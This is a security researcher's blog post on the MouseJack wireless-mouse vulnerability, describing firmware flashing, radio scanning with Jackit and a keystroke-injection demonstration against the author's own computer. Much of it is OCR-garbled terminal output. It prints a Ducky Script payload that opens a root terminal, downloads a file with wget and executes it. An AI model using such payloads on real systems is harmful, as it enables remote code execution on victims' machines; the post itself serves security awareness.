## Spy Mouse

written by Mert SARICA | 1 December 2017 In 2015, I came across a product set that was on sale in an electronics store. If you bought Kaspersky Internet Security software, you would receive a Microsoft Sculpt Mobile model wireless mouse as a gift. I bought it without thinking, because I needed a new mouse, and I've been using it lovingly for years, but it never occurred to me that this wireless mouse, due to the vulnerability it had, could turn into a spy that could work behind my back. :)

If we take a brief look at the research on RF communication of wireless keyboards and mice that are not Bluetooth, in 2007, Max Moser discovered that wireless keyboards (Microsoft and Logitech) that communicate on the 27 MHz band can be easily monitored remotely, and this caused a stir in the security world. In 2009, Max Moser and Thorsten Schroeder announced the KeyKeriki device, which they developed to listen to wireless keyboards. In 2010, they announced the KeyKeriki v2.0, which can also listen to keyboards communicating on the 2.4 GHz band and equipped with the Nordic Semiconductor NRF24XXX chip. In 2011, Travis Goodspeed showed that the ~5TL value nRF24L01+ chip can be used in promiscuous mode to easily monitor (sniff) packets sent by NRF24XXX chips on the 2.4 GHz band. In 2015, Samy Kamkar showed the world how Microsoft keyboard keys could be instantly and practically stolen using the Arduino-based KeySweeper device.

Over the years, these research and studies have led to wireless keyboards (2.4 GHz ISM) and computers using RF communication being encrypted with strong algorithms by manufacturers (with exceptions) to prevent malicious individuals from monitoring key information. While manufacturers have made efforts to make wireless keyboards secure, wireless mice have been left behind. After all, what use could a malicious person have for monitoring the movements and button presses (right, left, middle) of a mouse? The truth is, it is not that simple. In 2015, Bastille firm revealed a research called MouseJack and a method that affected numerous manufacturers (video). The MouseJack method uses a USB receiver that is connected to a computer as a mouse receiver to send wireless mouse movements and pressed buttons as keyboard keystroke data in the Ducky Script format like in my article called Bad USB. This allows even if you use a laptop, you don't have to use a wireless keyboard even if you use a wireless mouse, if you step away from

your computer for a short time, a malicious person can wirelessly send keystroke data to the USB receiver connected to your computer as if it were sent from a wireless mouse!

As someone who uses a wireless Microsoft mouse, I immediately set out to determine if the MouseJack method would affect my mouse and decided to purchase the CrazyRadio PA USB device as specified on Bastille's MouseJack GitHub page. After compiling the nrf-research-firmware firmware and uploading it to the CrazyRadio PA (bin/dongle.bin), I saw that the tools on Bastille's GitHub page allow detection and tracking of packets from nRF24L01+ devices around. I decided to do a small research on GitHub as Bastille only share the tool that can send keyboard keystroke data with manufacturers, and soon I came across the jacjackitkit tool that also allows sending keyboard keystroke data.





n/-rr	Tootgeriackecareer/Desktop/crazyradio-in	n ni wai cz mini wai c	
nw-rr File Edit View Search Terminal Help			
<pre>rw-rrroot@Hack4Career:~/Desktop/crazyradio-firmware/firmware# m</pre>	ake CRPA=1		
<pre>rw-rrsdcc -linc/model-largestd-sdcc99 -DCRPA -c src/main.</pre>	c -o bin/main.rel		
<pre>rw-rrsdcc -linc/model-largestd-sdcc99 -DCRPA -c src/radio</pre>	.c -o bin/radio.rel		
<pre>rw-rrsdcc -linc/model-largestd-sdcc99 -DCRPA -c src/usb.c</pre>	-o bin/usb.rel		
<pre>rw-rrsdcc -linc/model-largestd-sdcc99 -DCRPA -c src/usbDe</pre>	scriptor.c -o bin/usbDescriptor.rel		
<pre>For the second sec</pre>	-o bin/led.rel		
<pre>rw-rrsdcc -Iinc/model-largestd-sdcc99 -DCRPA -c src/utils</pre>	.c -o bin/utils.rel		
rw-rrsdccxram-loc 0x8000xram-size 2048model-large bin/	main.rel bin/radio.rel bin/usb.rel bin/	'usbDescriptor.rel bin/led.rel bin/utils.rel -o bin/cradio.i	hX
rw-rrobjcopy -I ihex bin/cradio.ihx -O binary bin/cradio.bin			
rw-rrCrazyradio PA build			
<pre>Tw-FF root@Hack4Career:~/Desktop/crazyradio-firmware/firmware# p</pre>	ython/usbtools/launchBootloader.py		
<pre>rw-rrBootloader already launched.</pre>			
<pre>oot@Hack4 root@Hack4Career:~/Desktop/crazyradio-firmware/firmware# p</pre>	ython/usbtools/nrfbootload.py flash	bin/cradio.bin	
us 002 De('Found nRF24LU1 bootloader version', '18.0')			
us 001 DeFlashing: 10-041332070 Elan Ficroelectronics Corp.			
us 001 De Flashing 7471 bytes			
us 001 DeFlashing done! Clizero Subplus Innovation Technology Inc.			
us ool DeVerifying:			
us eel De Reading bin/cradio.bin Foundation 2.8 root hub			
BOUGHACKY Reading 7471 bytes from the flash			
us 002 Deverification succeded!	1		
us dol be rootghack4career:~/besktop/crazyradio-tirmware/tirmware#			
us 001 Device 004. ID 3007.0020 Intel Corp.			
us 001 Device 005. ID 10(1.2070 Sumptus Innovation Technology Inc.			
us 001 Device 002. ID 045E.0002 Hicrosoft Corp.			
as our pevice our. In induction relation for the firmware hind long	azyradio r A		
us 882 Device 881: ID 1d6b:8883 Linux Foundation 3.8 root bub	<b>9</b>		
us AAl Device AAS: ID A4f3:2070 Elan Microelectronics Corner (1997)			
us A01 Device A04: ID 8087:0a2a Intel Corp.			
us 801 Device 803: ID lbcf:2c7d Sunplus Innovation Technology Inc.			
us 801 Device 002: ID 845e:87b2 Microsoft Corp.			
us 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub HING	the Firmware		
oot@Hack4Career:~/Desktop/mouseiack/nrf-research-firmware/bin# lsus	b		
us 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub			
us 001 Device 005: ID 04f3:2070 Elan Microelectronics Corp.			
us 001 Device 004: ID 8087:0a2a Intel Corp.			
us 001 Device 003: ID 1bcf:2c7d Sunplus Innovation Technology Inc.			
us 001 Device 002: ID 045e:07b2 Microsoft Corp.			
us 001 Device 006: ID 1915:7777 Nordic Semiconductor ASA			
us 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub			
oot@Hack4Career:~/Desktop/mousejack/nrf-research-firmware/bin# lsus			
us 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub			
us 001 Device 005: ID 04f3:2070 Elan Microelectronics Corp.			
us 001 Device 004: ID 8087:0a2a Intel Corp.			
us 001 Device 003: ID 1bcf:2c7d Sunplus Innovation Technology Inc.			
us 001 Device 002: ID 045e:07b2 Microsoft Corp.			
us 001 Device 006: ID 1915:7777 Nordic Semiconductor ASA			
us 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub			
pot@Hack4Career:~/Desktop/mouseiack/nrf-research-firmware/bin# 🗍			

Applications   Places   Terminal	root@Hack4Career: ~/Deskto	Fri 1937 op/mousejack/nrf-research-fii	rmware/bin	tr• ♥==0 <b>0</b> •
File Edit View Search Terminal Help -TW-FF1 root root 18575 Mar 31 19:18 main.rst -TW-FF-1 root root 24005 Mar 31 10:18 main.rst				
-TW-FTW-FTW-FTW-FTW-FTW-FTW-FTW-FTW-FTW-F	ot@Hack4Career: ~/Desktop/mousej	ack/nrf-research-firmware	© © ©	ын
<pre>FN+FF- rootHackKareer:-/Desktop/mousejack/nrf-research-firmware# prog/ FN+FF- (2017-08-33) 19:37:46.[198] Looking for a compatible device that c FN+FF- (2017-08-33) 19:37:46.[275] Looking for a device running the Nordi FN+F-F- (2017-08-33) 19:37:46.[275] Looking for a device running the Nordi FN+F-F- (2017-08-33) 19:37:46.[275] Writing image to flash FN+F-F (2017-08-33) 19:37:46.[276] Writing image to flash FN+F-F (2017-08-33) 19:37:47.[279] Firmware programming completed success FN+F-F [2017-08-33] 19:37:47.[279] Please unplug your dongle or breakout FN+F-F (2017-08-33) 19:37:47.[279] Please unplug your dongle or breakout FN+F-F-F- (2017-08-33) 19:37:47.[279] Please unplug your dongle or breakout FN+F-F-F- (2017-08-33) 19:37:47.[279] Please unplug your dongle or breakout FN+F-F-F- (2017-08-33) 19:37:47.[270] Please unplug your dongle or breakout FN+F-F-F-F-F- FN+F-F-F-F-[270] Please Plash Plash</pre>	usb-flasher/usb-flash.py bi an jump to the Nordic bootl otloader c bootloader fully board and plug it back in.	n/dongle.bin oader	* 113 115 000 410 109 000	
Bus 982 Dec. 6 35 TD 100 100 892 Linux Foundation 3.8 cost hub Bus 981 Dec. 6 35 TD 100 892 Bar 100 100 100 100 100 100 100 100 100 10			4.d 4.q 4.d	
Bus 001 Derice 0004: ID 0007/0024 Interfectore Corp. Bus 001 Device 003: ID 1bcf:2c7d Sumplus Innovation Technology Inc. Bus 001 Device 002: ID 0456:07b2 Microsoft Corp. Bus 001 Device 001: ID 1d5b:0002 Linux Foundation 2.0 root hub device 001: ID 1d5b:0002 Linux Foundation 3.0 root hub Bus 001 Device 005: ID 0473:2070 Elan Microelectronics Corp. Bus 001 Device 005: ID 0473:2070 Elan Microelectronics Corp. Bus 001 Device 003: ID 1057:2073 Interfectore 003: ID 0473:2070 Elan Microelectronics Corp. Bus 001 Device 003: ID 1057:2073 Interfectore 003: ID 0457:2073 Interfectore 003: ID 0457:2073 Interfectore 004: ID 0456:0702 Microsoft Corp. Bus 001 Device 003: ID 1057:2c7d Sumplus Innovation Technology Inc. Bus 001 Device 003: ID 1056:0020 Linux Foundation 2.0 root hub			agam. It you do not see this message, but instead some	
<pre>rootBMAckKGnreer:-/Desktop/mousejack/nrf-research-firmware/bin# Isusb Bus 002 Device 001: DI 0465:003 Linux Foundation 3.0 root hub Bus 001 Device 005: DI 0473:2070 Elan Microelectronics Corp. Bus 001 Device 003: DI Def:2c7d Sunplus Innovation Technology Inc. Bus 001 Device 003: ID 0456:872 Microsoft Corp. Bus 001 Device 006: ID 0456:872 Microsoft Corp. Bus 001 Device 006: ID 0455:8777 Nordic Semiconductor ASA Bus 001 Device 006: ID 1915:7777 Nordic Semiconductor ASA Bus 001 Device 006: ID 1915:777 Nordic Semiconductor ASA Bus 001 Device 007: ID 16bb:0002 Linux Foundation 2.0 root hub rootBMackKGreer:-/Desktop/moussjack/nrf-research-firmware/bin# Isusb</pre>				
Bus 002 Device 001: ID 1650:0003 Linux Foundation 3.0 root hub Bus 001 Device 005: ID 0473:2070 Elan Microelettronics Corp. Bus 001 Device 004: ID 8087:0A28 Intel Corp. Bus 001 Device 003: ID 16:17:270 Supplies Innovation Technology Inc. Bus 001 Device 002: ID 045e:0702 Microsoft Corp. Bus 001 Device 006: ID 1915:7777 Nordic Semiconductor ASA Bus 001 Device 006: ID 1915:7777 Nordic Semiconductor ASA Bus 001 Device 006: ID 1915:7777 Nordic Semiconductor ASA Bus 001 Device 006: ID 1950:7000005 Jack/mir/ research-immare/bin# []		providsions winder the following strengts, NJ CC A	nyy solooping seeming (s). Laar modified. 2019 07:15 16:31 (s) demail e6(5) Mitta Johnson Agent Aller All Managements.	
root@Hack4Ca	areer: ~/Desktop/m	ousejack/nrf-re	esearch-firmware/tools	00
File Edit View Search Terminal Help				
root@Hack4Career:~/Desktop/mousejack/r         [2017-03-31 21:42:32.151]       2       5       86:         [2017-03-31 21:42:32.155]       2       5       86:         [2017-03-31 21:42:32.158]       2       5       86:         [2017-03-31 21:42:32.158]       2       5       86:         [2017-03-31 21:42:32.160]       2       5       86:         [2017-03-31 21:42:32.160]       2       5       86:	nrf-research-fi :1D:70:79:27 ( :1D:70:79:27 ( :1D:70:79:27 ( :1D:70:79:27 ( :1D:70:79:27 ( :1D:70:79:27 (	Lrmware/tool 02:E9:00:00: 02:E9:00:00: 02:E9:00:00: 02:E9:00:00: 02:E9:00:00:	s# python nrf24-scanner.py -l 03 03 03 03 03 03 Codegen	
NRF24-BTLE- nrf Decoder-master				
25				
<b>ZIP</b> NRF24-BTLE- Decoder-master.zip	top_block.py			
File Edit View Search Terminal Help	root@Hack4Ca	areer: ~/Desktop/jac	kit	•••
KEY         ADDRESS         CHANNELS         CHANNELS         C	ount SEEN	ТҮРЕ	PACKET	G
I         A6:2A:6A:A2:AA         65           2         A1:16:6D:B2:52         70           3         67:4A:A0:08:8A         83           4         A9:00:6C:C9:68         80,61,74,70,29,33,50,54           5         55:55:55:55         23	1 2:23:56 ago 1 0:45:43 ago 1 1:44:18 ago 777 0:00:13 ago 1 1:47:11 ago	SEEN TY 0:00:06 ago Mi Microsoft HID	PE PACKET 24:A4:C3:2C:C5:58:BA:A6:37:6B:AD:55:D3:BA 14:CB:64:AC:B9:DB:17:64:50 28:AA:9C:2C:44:88:D8:85:19:16:80 08:90:17:01:A4:F1:40:00:01:00:00:00:00:00:00:00 AA:EA:AA:AA:AA:AE:EE:FB:AA:AB:2A:AB:2E:AA:AA	:00:00:10:75 :AA:AA:AE:AA:A
6 0D:2E:AB:B2:2B 5 001001000000 7 A2:91:54:89:25 60 8 2F:CC:96:C8:00 74,44,71,8,17,32 9 EB:37:93:15:07 74 10 90:25:22:42:95 74 11 42:C0:92:50:25 39 12 B5:AA:A2:03:08 46	1 2:14:00 ago 1 1:56:11 ago 10 1:24:01 ago 1 1:36:38 ago 1 1:30:13 ago 1 0:07:33 ago 1 0:18:00 ago	Logitech HID	45:05:25:41:44:5F:09:8A:CC:ED:44:5A:F9:16:49: 07:C2:00:00:00:00:00:00:00:37 00:40:00:6E:52 80:02:10:50:D4:A8:8A:25:42:60:A5:25:27:22:61: 82:A4:04:40 BF:88:55:55:55:56:56:60:42:281:08:80:10:88:80:00:	AA:C8:53 36 :08:08:2 <u>A:AA-9</u>
D:69:AA 13 91:11:7A:68:AA 82	1 1:33:25 ago		56:54:23:2A:18:B1:4A:B4:C8:AB:65:4D:9F:25:95:	:95:E9

After installing the Jackit tool on Kali, I immediately began sending keyboard keystroke data prepared in Ducky Script format using the Crazyradio PA. After a short period of time, a root terminal opened on Kali, the pwned file was downloaded from https://www.mertsarica.com using wget and executed.

root@Hack4Career: ~/Desktop/jackit				
File Edit View Search Terminal I	Help			
GNU nano 2.7.4	File: ducky-mert.txt	Modi	fied	~
DELAY 2500 GUI DELAY 2500 STRING root terminal DELAY 2500 ENTER DELAY 2500 STRING wget https://www.mertsa DELAY 2500 ENTER STRING chmod +x pwned DELAY 2500 ENTER STRING ./pwned DELAY 2500 ENTER STRING ./pwned DELAY 2500 ENTER	arica.com/pwned			
^G Get Help <mark>^0</mark> Write Out <mark>^W</mark> W ^X Exit <mark>^R</mark> Read File ^\ F	/here Is <mark>^K</mark> Cut Text <mark>^J</mark> Justify <mark>^C</mark> Cu eplace <u>^U</u> Uncut Text <mark>^T</mark> To Spell <u>^</u> Go	ur Po	s Line	

After this research, I regretfully threw away my Microsoft brand wireless mouse and headed to an electronics store to buy a more secure wireless mouse. I hope that this research I did for my physical security and security awareness will be useful for those who use wireless keyboard and mice. I wish you all safe days and look forward to seeing you in my next article.